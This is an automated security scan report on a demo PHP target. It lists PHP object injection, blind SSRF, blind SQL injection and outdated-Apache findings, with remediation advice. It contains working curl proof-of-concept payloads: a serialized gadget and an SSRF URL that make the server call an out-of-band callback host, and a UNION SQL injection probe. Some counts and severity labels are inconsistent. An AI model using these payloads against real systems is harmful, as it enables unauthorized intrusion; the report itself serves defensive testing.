GGSec Cortex · GG Advanced IT Security

Security Assessment Report

GGSec Cortex v0.9 Beta · AI-Guided DAST · Context-Aware SAST · Target: oob_demo_src · Generated: 2026-07-08 17:10

CONFIDENTIAL

Executive Summary

GGSec Cortex identified 2 confirmed and 3 likely vulnerabilities. Every confirmed finding is evidence-backed (live proof-of-concept or a baseline-difference control), so false positives are minimised. **Immediate remediation is recommended.**

Three files expose multiple vulnerability classes: blind SQL injection, blind XXE, blind SSRF (all in oob_test.php), and PHP Object Injection with an OOB gadget (poi_oob_test.php). All blind sinks require OOB or time-based detection since no output is reflected.

Security Rating	**D · HIGH (4 High)**
Max CVSS (v3.1)	**8,9 (High)**
Severity distribution	Critical: 0 High: 4 Medium: 3 Low: 0
Compromise probability	High (~70-85%)
Confirmed findings	**2**
Likely (needs review)	**3**
Business impact	**Full server compromise (remote code execution)**
Exploitation complexity	Low — reachable by a remote attacker
Likelihood	High — confirmed with a live proof-of-concept
Scan	SAST 33s · DAST 17s · 18 requests

Assessment Scope

Target	oob_demo_src
Base URL	http://172.26.203.184
Endpoints tested	3
Total requests	18
HTTP methods	GET, POST
Vulnerability classes	6
Authentication	Unauthenticated
OOB collaborator	Enabled (blind detection)
Scan duration	SAST 33s · DAST 17s
Completed	2026-07-08 17:10

Scan Timeline

17:09:49 ● **Scan started**

17:10:22 ○ SAST analysis completed (33s, 7 targets)

17:10:22 ○ DAST probing started

17:10:22 ○ GGC-SSRF-11B confirmed — SSRF url

17:10:30 ○ GGC-POI-918 confirmed — PHP_OBJECT_INJECTION prefs

17:10:39 ○ DAST completed (17s, 18 requests)

17:10:39 ● **Report generated**

Risk Matrix

Likelihood \ Impact	Negligible	Minor	Moderate	Major	Severe
Almost certain					
Likely				1	1
Possible					
Unlikely					
Rare					

Endpoint Summary

Endpoint	Requests	Findings	Risk
oob_test.php	10	SQL_QUERY	Critical
	2	OUTDATED_COMPONENT	Critical
http://172.26.203.184/poi_oob_test.php	2	PHP_OBJECT_INJECTION	Critical
http://172.26.203.184/oob_test.php	4	SSRF	High

Remediation Plan

ID	Finding	CVSS	Priority	SLA
GGC-POI-918	PHP_OBJECT_INJECTION — prefs	9,8	P0	Fix immediately
GGC-SSRF-11B	SSRF — url	7,7	P1	Within 7 days

Findings (5)

[1] GGC-POI-918 · PHP_OBJECT_INJECTION — prefs

CONFIRMED CVSS 9,8 Critical · CWE-502 Deserialization of Untrusted Data · Priority P0 (Fix immediately)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted serialized data is deserialized, invoking gadget chains that can lead to remote code execution.

Compliance: A08:2021 – Software and Data Integrity Failures · PCI-DSS v4.0 Req 6.2.4 / 6.4.3 · ISO/IEC 27001:2022 A.8.28 / A.8.29 · GDPR Art. 32 (security of processing)

MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: poi_oob_test.php

Impact: RCE (Direct)

Access: Unauthenticated

Flow: $_COOKIE['prefs'] is passed directly to unserialize(). The Fetcher gadget class is in scope: its __destruct() calls file_get_contents($this->url) on an attacker-controlled URL property. The return value of file_get_contents is discarded (@-suppressed, not echoed), so there is zero in-band signal. Detection requires an OOB collaborator callback. The serialized Fetcher payload sets $url to the OOB callback URL; when the unserialized object is garbage-collected, __destruct fires the outbound request.

Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'http://172.26.203.184/poi_oob_test.php' --data
'O:7:"Fetcher":1:{s:3:"url";s:37:"http://172.26.192.1:8888/6d57d558a5b4";}'
```

Evidence (live response):

```
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/6d57d558a5b4, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.
```

Remediation

Do not unserialize untrusted data; use a safe format and restrict allowed classes.

- Replace unserialize() on tainted input with json_decode() (data-only).
- If PHP serialization is required, pass allowed_classes=false or an explicit allowlist.
- Add integrity protection (HMAC) to any serialized blob that must round-trip via the client.

References: CWE-502 · OWASP: Deserialization Cheat Sheet

---

[2] GGC-VULN-D0C · OUTDATED_COMPONENT — apache 2.4.58 · CVE-2024-38475

PROBABLE CVSS 8,9 High (Base 9,8 Critical) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R`

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.

Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022 A.8.8 · GDPR Art. 32 (security of processing)

MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: HTTP Server / X-Powered-By banner

Impact: RCE (Direct)

Access: Unauthenticated

Flow: The server banner indicates apache 2.4.58, which the version range for CVE-2024-38475 (fixed in 2.4.60) would cover — version-indicated only, not confirmed exploitable (banner may be backport-patched; vulnerable config/module not verified).

Evidence strength: Low (43/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i ''
```

Evidence (live response):

```
Server banner 'Apache/2.4.58' matches CVE-2024-38475 (CWE-22, Critical): mod_rewrite improper
output escaping → URL mapped to filesystem (RCE / source disclosure). Affected: version < 2.4.60.
VERSION-INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro pa…
```

Remediation

Upgrade the flagged component to a fixed release; version-indicated — verify against your actual (possibly backported) build.

- Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
- Confirm the real installed version — a backported security fix can leave the banner version unchanged (avoid false positives).
- Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce fingerprinting.
- Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

---

[3] GGC-SQLI-3F1 · SQL_QUERY — id

PROBABLE CVSS 8,9 High (Base 9,8 Critical) · CWE-89 SQL Injection · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R`

SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: oob_test.php

Impact: AUTH_BYPASS (Direct)

Access: Unauthenticated

Flow: $_GET['id'] is interpolated directly into a SQL query string "SELECT * FROM users WHERE id = $id" and executed via mysqli_query(). The result is never echoed, making this a fully blind SQLi. Time-based detection (SLEEP) is the appropriate method.

Evidence strength: Tentative (30/100)

+18 Likely (weak signal only)
+6 Inferred from timing / HTTP 500 (no direct echo)
+6 Reproduced by 10 payload(s)

Proof of Concept

Reproduce:

```
curl -i 'oob_test.php?id=1%20UNION%20SELECT%201%2C2%2C3%2C4--%20-'
```

Evidence (live response):

```
(no response body captured)
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

- Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
- For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
- Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
- Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[4] GGC-SSRF-11B · SSRF — url

CONFIRMED CVSS 7,7 High (Base 8,6 High) · CWE-918 Server-Side Request Forgery · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/E:H/RC:C`

The server fetches a user-supplied URL, letting an attacker reach internal services or cloud metadata.

Compliance: A10:2021 – Server-Side Request Forgery (SSRF) · PCI-DSS v4.0 Req 6.2.4 · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

MITRE ATT&CK: T1090 Proxy · T1552.005 Unsecured Credentials: Cloud Instance Metadata API

Location: oob_test.php

Impact: INFORMATION_DISCLOSURE (Direct)

Access: Customer

Flow: $_GET['url'] is passed directly to file_get_contents() with no validation. The fetched data is stored in $data but never echoed — fully blind SSRF. OOB callback is the only detection method.

Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'http://172.26.203.184/oob_test.php?url=http%3A%2F%2F172.26.192.1%3A8888%2F519205e607c1'
```

Evidence (live response):

```
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/519205e607c1, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.
```

Remediation

Allowlist outbound destinations and block internal address ranges; don't fetch user URLs directly.

- Allowlist permitted hosts/schemes; deny by default.
- Resolve and block private/link-local/loopback/metadata ranges (169.254.169.254, 127.0.0.0/8, 10/172.16/192.168).
- Disable unneeded URL schemes (file://, gopher://, dict://) and follow-redirect to internal hosts.

References: CWE-918 · OWASP: SSRF Prevention Cheat Sheet

---

[5] GGC-VULN-637 · OUTDATED_COMPONENT — apache 2.4.58 · CVE-2024-38476

PROBABLE CVSS 6,8 Medium (Base 7,5 High) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component · Priority P2 (Within 30 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R`

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.

Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022 A.8.8 · GDPR Art. 32 (security of processing)

MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: HTTP Server / X-Powered-By banner

Impact: DOS (Direct)

Access: Unauthenticated

Flow: The server banner indicates apache 2.4.58, which the version range for CVE-2024-38476 (fixed in 2.4.60) would cover — version-indicated only, not confirmed exploitable (banner may be backport-patched; vulnerable config/module not verified).

Evidence strength: Low (43/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i ''
```

Evidence (live response):

```
Server banner 'Apache/2.4.58' matches CVE-2024-38476 (CWE-476, High): mod_proxy null-pointer dereference → DoS via malicious backend response headers. Affected: version < 2.4.60. VERSION-INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro patch may leave…
```

Remediation

Upgrade the flagged component to a fixed release; version-indicated — verify against your actual (possibly backported) build.

- Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
- Confirm the real installed version — a backported security fix can leave the banner version unchanged (avoid false positives).
- Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce fingerprinting.
- Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD